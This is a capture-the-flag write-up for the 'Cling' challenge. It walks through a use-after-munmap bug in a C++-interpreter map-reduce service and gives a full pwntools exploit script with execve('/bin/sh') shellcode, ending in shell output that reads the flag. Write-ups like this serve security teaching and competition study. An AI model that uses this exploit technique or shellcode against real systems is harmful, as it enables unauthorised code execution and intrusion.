Cling
Description
I’m happy to announce that our new map-reduce service is now running on the rigid and flexible platform.
nc 34.146.101.4 30003
Attachment: cling.tar.gz xpl.py
Team: Super Guesser
---------------
1. create
2. protect
3. delete
4. set_map
5. run_map
6. set_reduce
7. run_reduce
8. show_result
---------------
>
This challenge was using cling
, which is an “interactive C++ Interpreter”. We were provided the source of the code, that will be passed to the interpreter.
Options 6-8 were not implemented, so let’s take a quick look at the other options.
void create() {
if (n_create > N_CREATE) {
puts("too many creation");
return;
}
printf("size? >");
unsigned size = get_num();
if (0 == size || size > (0x1000/sizeof(unsigned long long))) {
puts("too big");
return;
}
n_create++;
buf = (unsigned long long *)mmap(NULL, 0x1000 , PROT_READ | PROT_WRITE, MAP_ANONYMOUS | MAP_PRIVATE, -1, 0);
n_elem = size;
if ((long long int)buf == -1) {
puts("fail");
n_elem = 0;
buf = NULL;
return;
}
printf("%p\n", buf);
for (int i = 0; i < n_elem; i++) {
if (scanf("%llu", &buf[i]) != 1) return;
}
}
Create will just pretty much mmap
a region with read/write
permissions and stores a pointer to it in a global buf
variable.
void protect() {
u64 prot = PROT_NONE;
printf("read? >");
if (get_yes_no()) {
puts("yes read");
prot |= PROT_READ;
}
printf("write? >");
if (get_yes_no()) {
prot |= PROT_WRITE;
}
printf("exec? >");
if (get_yes_no()) {
prot |= PROT_EXEC;
}
int ret = mprotect(buf, 0x1000, prot);
if (ret == -1) {
puts("fail");
n_elem = 0;
buf = NULL;
}
}
protect
lets us define the permissions on the mmapped region. Answering all questions with yes will mark it as rwx
.
void del() {
int ret = munmap(buf, 0x1000);
if (ret == -1) {
puts("fail");
n_elem = 0;
buf = NULL;
}
}
del
will munmap
our current region, without clearing the global buf
pointer. So the address from this will still be available. Normally, this would not be of much use, since that memory region becomes unmapped. But let’s keep this in mind.
void set_map() {
char expr[8192];
char func[8492];
if (!func_set) {
printf("Give me your map function body > ");
scanf("%8191s", expr);
for (int i = 0; i < strlen(expr); i++) {
if (expr[i] == 'x' ||
('0' <= expr[i] && expr[i] <= '9') ||
expr[i] == ' ' ||
expr[i] == '+' ||
expr[i] == '-' ||
expr[i] == '*' ||
expr[i] == '/' ||
expr[i] == '?' ||
expr[i] == ':') continue;
puts("wrong format");
return;
}
sprintf(func, "unsigned long map_func(unsigned long x) {return %s;}", expr);
gCling->process(func);
cling::Value v;
auto ret = gCling->evaluate("map_func(42)", v);
if (ret == 0) {
printf("map_func(42) = %llu\n", v.getULL());
func_set = 1;
}
} else {
puts("the map function has already been registered.");
}
}
With set_map
things get interesting. This will let us enter a map
function, which will then be evaluated
by the interpreter.
For this cling
will kinda do a jit compilation, creating a mmapped region, put the code for this function on it and execute it (marking the region as r-x
).
void run_map() {
char expr[0x2000];
if (func_set) {
cling::Value v;
if (buf == NULL || n_elem == 0) return;
for (unsigned i = 0; i < n_elem; i++) {
sprintf(expr, "map_func(%lluULL)", buf[i]);
gCling->evaluate(expr, v);
unsigned long long result = v.getULL();
buf[i] = result;
}
} else {
puts("no map function has been registered yet.");
}
}
run_map
will now just take some user input and pass it to the map
function, we defined in set_map
.
So, let’s recap this:
- We can create a mmapped region via
create
- We can set the permissions for this region via
protect
- We can unmap that region (but keep a pointer to it) via
del
- We can create a custom function, which will mmap a region and put code to it via
set_map
- We can execute this custom function (executing the code from the mmapped region) via
run_map
- Also mmapping a region, unmapping and mmapping it again will serve the same region
See, where this is going? :)
If not, the trick is just to create
a mmapped region, fill it up with random values and munmap
it. This region will now be gone, but we’ll still have its address in buf
.
Now we can call set_map
and define a mapping function. Again, it’s content isn’t important, just put something in it, which will compile. This will mmap
again a region, put the code for the map function in it and executes it once (and since we created and unmapped a region before, this code will be put into the exact same region which we have in our buf
).
Because the region from buf
is now mapped again, we can… delete it again… (the map function from set_map
will also now point to the same unmapped region).
#!/usr/bin/python
from pwn import *
import sys
LOCAL = True
HOST = "34.146.101.4"
PORT = 30003
def create(size, vals):
r.sendline("1")
r.sendlineafter(">", str(size))
for val in vals:
r.sendline(val)
r.recvuntil("> ")
def setprot(rd, wr, exe):
r.sendline("2")
r.sendlineafter(">", "y" if rd else "n")
r.sendlineafter(">", "y" if wr else "n")
r.sendlineafter(">", "y" if exe else "n")
r.recvuntil("> ")
def setmap(func):
r.sendline("4")
r.sendlineafter("> ", func)
r.recvuntil(" = ")
resp = r.recvline()[:-1]
r.recvuntil("> ")
return resp
def delete():
r.sendline("3")
r.recvuntil("> ")
def exploit(r):
r.recvuntil("> ")
size = 1000/8
create(size, ["+"]) # create a mmapped region
delete() # free it
setmap("x") # create map function (will be created in the just freed region)
delete() # free the map function region (via buf from create)
r.interactive()
return
if __name__ == "__main__":
if len(sys.argv) > 1:
LOCAL = False
r = remote(HOST, PORT)
else:
LOCAL = True
with open("chall.c", "r") as f:
data = f.read()
r = process(["./cling/bin/cling", "--nologo"])
r.send(data)
print(util.proc.pidof(r))
pause()
exploit(r)
So, let’s just create
again. This will now again serve us the same region as the first create
, which is also the same region the map
function is pointing to :)
We can now just write proper shellcode to it and then execute the map
function via run_map
. Since the map
function is also pointing to the region, we just defined in create
this will then execute our shellcode instead of the previous map function.
The map
function will jump to region + 0xa0
, so we just have to append some dummy values in the beginning and then write our shellcode to offset 0xa0
in the region
def exploit(r):
...
# put shellcode on freed page (compiled map function pointing there)
SC = """
xor rax, rax
mov al, 59
mov rdi, rdx
add rdi, 0x28
xor rsi, rsi
xor rdx, rdx
syscall
"""
l = []
context.arch = "amd64"
payload = asm(SC)
payload = payload.ljust(40, "\x90")
payload += "/bin/sh\x00"
for i in range(0, 0xa0/8):
l.append("1")
for i in range(0, len(payload), 8):
l.append(str(u64(payload[i:i+8].ljust(8, "\x90"))))
create(len(l), l)
setprot(True, True, True) # make our region rwx
# execute run_map
r.sendline("5")
run_map
will now jump right into our shellcode giving us a shell
[+] Opening connection to 34.146.101.4 on port 30003: Done
[*] Switching to interactive mode
$ ls home/user
chall.c
flag-26dec3e0f05adecded30266312a10975
start.sh
$ cat /home/user/flag-26dec3e0f05adecded30266312a10975
TSGCTF{Have_you_ever_solved_Use_After_Munmap_chal?}